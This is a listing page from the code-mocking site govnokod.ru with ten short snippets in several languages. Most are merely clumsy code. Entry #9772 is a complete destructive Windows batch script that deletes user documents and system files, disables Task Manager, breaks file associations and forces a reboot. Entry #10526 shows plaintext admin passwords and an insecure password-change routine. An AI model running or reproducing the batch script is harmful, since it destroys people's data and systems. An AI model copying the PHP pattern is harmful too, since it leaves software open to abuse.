1. Лучший говнокод

    В номинации:
    За время:
  2. PHP / Говнокод #10526

    +70

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    <? // файл data/conf/config.php
    $user = array (
    "0" => array("administrator", "bita98"),
    "1" => array("ml.administrator", "select11"),
    "2" => array("moderator", "argument19")
    );
    ?>
    
    <? // Другой файл, для смены пароля
    $pass = $_POST["pass"];
    $new_pass = $_POST["new_pass"];
    
    $files = file('data/conf/config.php');
    foreach ($files as $key=>$value)
    {
    $files[$key]=str_replace($pass, $new_pass, $value);
    }
    
    $f = fopen("data/conf/config.php","w+");
    foreach ($files as $keys=>$values)
    {
    fwrite($f,$values);
    }
    fclose($f);
    
    echo "<h2>Пароль " . $pass . " пользователя " . $_SESSION["username"] . ", был изменен на " . $new_pass . "</h2>";
    
    $_SESSION['password'] = null;
    $_SESSION['password'] = $new_pass;
    ?>

    Вот как нужно редактировать массивы в исходниках!
    cbr-admin.v2.1.7

    alex322, 02 Июня 2012

    Комментарии (20)
  3. Java / Говнокод #10324

    +74

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    public static boolean isBouncy(long n) {
    	boolean isBouncy = false;
    	String num = Long.toString(n);
    	String[] seperateDigits = new String[num.length()+1];
    	for (int i=1; i <= num.length(); i++) {
    		seperateDigits[i] = num.substring(i-1,i);
    	}
    	int firstDig = Integer.parseInt(num.substring(0,1));
    	int cDig;
    	int iDeg = 0;
    	int cDeg = 0;
    	int dig0;
    	int dig1;
    	for (int i = 2; i <= seperateDigits.length-1; i++) {
    		if (!isBouncy) {
    			dig0 = Integer.parseInt(seperateDigits[i-1]);
    			dig1 = Integer.parseInt(seperateDigits[i]);
    			if (i == 2) iDeg = getDegree(dig0, dig1);
    			else {
    				cDeg = getDegree(dig0,dig1);
    				if (iDeg == 0) iDeg = cDeg;
    				else if (cDeg == -iDeg) isBouncy = true;
    			}
    		}
    	}
    	if (iDeg == 0) isBouncy = false;
    	return isBouncy;
    }

    http://projecteuler.net/problem=112
    http://projecteuler.net/thread=112&page=6#63821


    >Nothing intuitive about it at all

    TheHamstertamer, 19 Мая 2012

    Комментарии (20)
  4. C++ / Говнокод #10120

    +25

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    /*
        Шаг по оси, представляет собой число из следующего ряда:
        ... 0.02 0.05 0.1 0.2 0.5 1 2 5 ...
        next и prev позволяют перемещаться в обе стороны по ряду
        после создания хранится число 1
    */
    class Step
    {
    public:
        Step()
        {
            scale = 1; pr = 1; type=0;
        }
        void next()
        {
            // шаг вперед
            type++;
            if (type==1)
                scale = pr * 2;
            else if (type==2)
                scale = pr * 5;
            else
            {
                type = 0;
                pr *= 10;
                scale = pr;
            }
        }
        void prev()
        {
            // шаг назад
            type--;
            if (type==0)
                scale = pr;
            else if (type==1)
                scale = pr*2;
            else
            {
                type = 2;
                pr /= 10;
                scale = pr*5;
            }
        }
        operator float()
        {
            return scale;
        }
    protected:
        float scale;    // текущее значение
        float pr;       // недомноженое значение 1 10 100 ...
        int type;       // 0 - x1 1 - x2 2 - x5
    };

    http://govnokod.ru/10117 напомнил о том, как я когда-то рисовал график, и для меток на осях потребовались те же самые красивые значения [... 0.1 0.2 0.5 1 2 5 ...]

    bormand, 30 Апреля 2012

    Комментарии (20)
  5. PHP / Говнокод #10060

    +102

    1. 1
    2. 2
    3. 3
    <html class="html">
    .............
    </html>

    Бывает и такое

    Hits, 27 Апреля 2012

    Комментарии (20)
  6. Java / Говнокод #10014

    +92

    1. 1
    "".equalsIgnoreCase(propertiesFile) != true

    индусское достояние

    Desperate, 22 Апреля 2012

    Комментарии (20)
  7. C++ / Говнокод #9801

    +999

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    template<class TVisitedComponentList>
    	TUniqueIDOfVisitedComponentList getUniqueIDOfVisitedComponentTypeList(void)
    	{
    		static Type2Type<TVisitedComponentList> UniqueObjectForVisitedComponentTypeList;
    		return (size_t)(&UniqueObjectForVisitedComponentTypeList);
    	}
    
    	template<class TVisitedComponentList>
    	TCastWindowComponentTo* const castWindowComponentInternal(PegThing* const Window)
    	{
    		ASSERT(Window!=NULL);
    		if(Window==NULL)
    			return NULL;
    		STATIC_CHECK(!(boost::mpl::empty<TVisitedComponentList>::value), TVisitedComponentList_must_be_not_empty_and_be__boost_mpl_list_c__type);
    		const TUniqueIDOfVisitedComponentList UniqueIDOfVisitedComponentList=this->getUniqueIDOfVisitedComponentTypeList<TVisitedComponentList>();
    		const TCasterRepositorys::const_iterator NotFound=_casterRepositorys.end();
    		TCasterRepositorys::const_iterator findedCasterRepositoryForThisVisitedComponentList=_casterRepositorys.find(UniqueIDOfVisitedComponentList);
    		if(findedCasterRepositoryForThisVisitedComponentList==NotFound)
    		{
    			this->registerVisitedComponentList<TVisitedComponentList>();
    			findedCasterRepositoryForThisVisitedComponentList=_casterRepositorys.find(UniqueIDOfVisitedComponentList);
    		}
    		ASSERT(findedCasterRepositoryForThisVisitedComponentList!=NotFound);
    		const TCasterRepository::const_iterator NotFoundCaster=findedCasterRepositoryForThisVisitedComponentList->second->end();
    		const unsigned int ComponentType=const_cast<PegThing* const>(Window)->Type();
    		const TCasterRepository::const_iterator findedCaster=findedCasterRepositoryForThisVisitedComponentList->second->find(ComponentType);
    		if(findedCaster==NotFoundCaster)
    			return NULL;
    		ASSERT(findedCaster!=NotFoundCaster);
    		return (*(findedCaster->second))(Window);		
    	}
    
    	template<class TCurrentItem, class TEnd>
    	void registerVisitedComponentListItem(TCasterRepository& casterRepository, TCurrentItem CurrentItem, TEnd End)
    	{
    		using namespace boost;
    		enum {WINDOW_COMPONENT_TYPE=mpl::deref<TCurrentItem>::type::value};
    		STATIC_CHECK((mpl::has_key<TWindowComponentsTypeIdToTypeMap, mpl::int_<WINDOW_COMPONENT_TYPE> >::value!=0), WINDOW_COMPONENT_TYPE_must_be_at_TWindowComponentsTypeIdToTypeMap);
    		typedef mpl::at<TWindowComponentsTypeIdToTypeMap, mpl::int_<WINDOW_COMPONENT_TYPE> >::type TRealTypeOfWindowComponent;
    		this->checkDuplicateComponentTypeID(WINDOW_COMPONENT_TYPE, casterRepository);
    		struct _
    		{
    			static TCastWindowComponentTo* const casterForEachWindowComponent(PegThing* const Window)
    			{
    				ASSERT(Window!=NULL);
    				if(Window==NULL)
    					return NULL;
    				TRealTypeOfWindowComponent* const RealTypeComponent = static_cast<TRealTypeOfWindowComponent* const>(Window);
    				ASSERT(RealTypeComponent!=NULL);
    				TCastWindowComponentTo* const FinalCastedWindowComponent = static_cast<TCastWindowComponentTo* const >(RealTypeComponent);
    				ASSERT(FinalCastedWindowComponent!=NULL);
    				return FinalCastedWindowComponent;
    			}
    		};
    		TCasterForEachWindowComponent CasterForEachWindowComponentFunction=&(_::casterForEachWindowComponent);
    		this->checkDuplicateType(CasterForEachWindowComponentFunction, casterRepository);
    		casterRepository[WINDOW_COMPONENT_TYPE]=CasterForEachWindowComponentFunction;
    		registerVisitedComponentListItem(casterRepository, mpl::next<TCurrentItem>::type(), TEnd());
    	}
    
    	template<class TEnd>
    	void registerVisitedComponentListItem(TCasterRepository& casterRepository, TEnd CurrentItem, TEnd End)
    	{}

    Код из того же большого проекта.
    Ассерты после static_cast и "шаблонная магия" особенно доставляют.
    Мне конечно boost::mpl нравиться, но я считаю, что его негоже использовать в реальных проектах.

    Говногость, 29 Марта 2012

    Комментарии (20)
  8. Куча / Говнокод #9772

    +133

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    @echo off 
     echo Chr(39)>%temp%\temp1.vbs 
     echo Chr(39)>%temp%\temp2.vbs 
     echo on error resume next > %temp%\temp.vbs 
     echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs 
     echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp.vbs 
     reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disabletaskmgr /t REG_DWORD /d 1 /f 
     start %temp%\temp.vbs 
     start %temp%\temp1.vbs 
     start %temp%\temp2.vbs 
     del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul 
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     assoc .lnk=textfile 
     assoc .exe=mp3file 
     @echo off 
     :x 
     Chcp 1251 
     msg * Пой птичка, пиздец системе...[© Iloverain]
     msg * Пой птичка, пиздец системе...[© Iloverain]
     msg * Пой птичка, пиздец системе...[© Iloverain]
     goto x 
     Chcp 1251 
     del "%USERPROFILE%Мои документы*.*" /q /s 
     label E: ГАВНО 
     Cd\ 
     Cd C: 
     Сd windows 
     del *.exe 
     del *.ini 
     del *.com 
     cd\ 
     cd windows 
     cd system 
     del *.dll 
     del *.exe 
     del "%SystemRoot%Cursors*.*" >nul 
     taskkill /f /im explorer.exe >nul 
     reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul 
     date 01.01.01 >nul 
     reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul 
     FOR /L %%i IN (1,1,100000) DO md %%i 
     Echo format C: /q c:Autoexec.bat 
     shutdown -r -t 0 >nul

    Это bat (cmd) код. Наткнулся на просторах интернетов.

    space_man26, 26 Марта 2012

    Комментарии (20)
  9. C++ / Говнокод #9492

    +141

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    #include <iostream>
    using namespace std;
    
    int main()
    {
        int n, m, c, b, f = 0;
        cin >> n >> m;
        int A[n][m];
        for(int i = 0; i < n; i++ )
        {
            for(int j = 0; j < m; j++)
            {
                cin >> A[i][j];
            }
        }
    
            for(int i = 0; i < n; i++ )
            {
                b = A[i][0];
                for(int j = 0; j < m; j++)
                {
                c = A[0][j];
                for(int a = 0; a < n; a++)
                 {
    
                     if(c < A[0][a])
                     {
                         c = A[0][a];
                     }
                 }
                 for(int k = 0; k < m; k++)
                 {
    
                     if(b > A[k][0])
                     {
                        b = A[k][0];
                     }
                 }
    
    
                 if(b == c)
                 {
                     f++;
                 }
                }
            }
                cout << f;
                return 0;
    }

    Задана матрица K, содержащая n строк и m столбцов. Седловой точкой этой матрицы назовем элемент, который одновременно является минимумом в своей строке и максимумом в своем столбце.

    Найдите количество седловых точек заданной матрицы.
    Вроде всё правильно, а выдаёт, что есть необработаное исключение.Что не так?

    alexsid13, 20 Февраля 2012

    Комментарии (20)
  10. Pascal / Говнокод #9430

    +88

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    var A:array of record
      Foo: integer;
    end;
    
    function NewNode: integer;
    begin
      SetLength(A, Length(A)+1);
      Result := High(A);
      // возвращаем не указатель на последний элемент,
      // а номер последнего элемента, потому что массив динамический и указатели нестабильны
    end;
    
    procedure DoSmth(var i: integer);
    var
      n1,n2: integer;
    begin
      n1 := NewNode;
      n2 := NewNode;
      // дальше что-то проделывааем над A[n1] и A[n2]
      i := A[n1].Foo + A[n2].Foo;
    end;
    
    var
      NewIndex: integer;
    begin
      NewIndex := NewNode;
      DoSmth(A[NewIndex].Foo);
    end.

    Угадайте, почему это не будет работать и приведёт к порче памяти.

    TarasB, 15 Февраля 2012

    Комментарии (20)
  11. JavaScript / Говнокод #9348

    +148

    1. 1
    http://digest.subscribe.ru/inet/review/n763622828.html

    Статья прелесть. document.write() в наше-то время...

    0rt, 08 Февраля 2012

    Комментарии (20)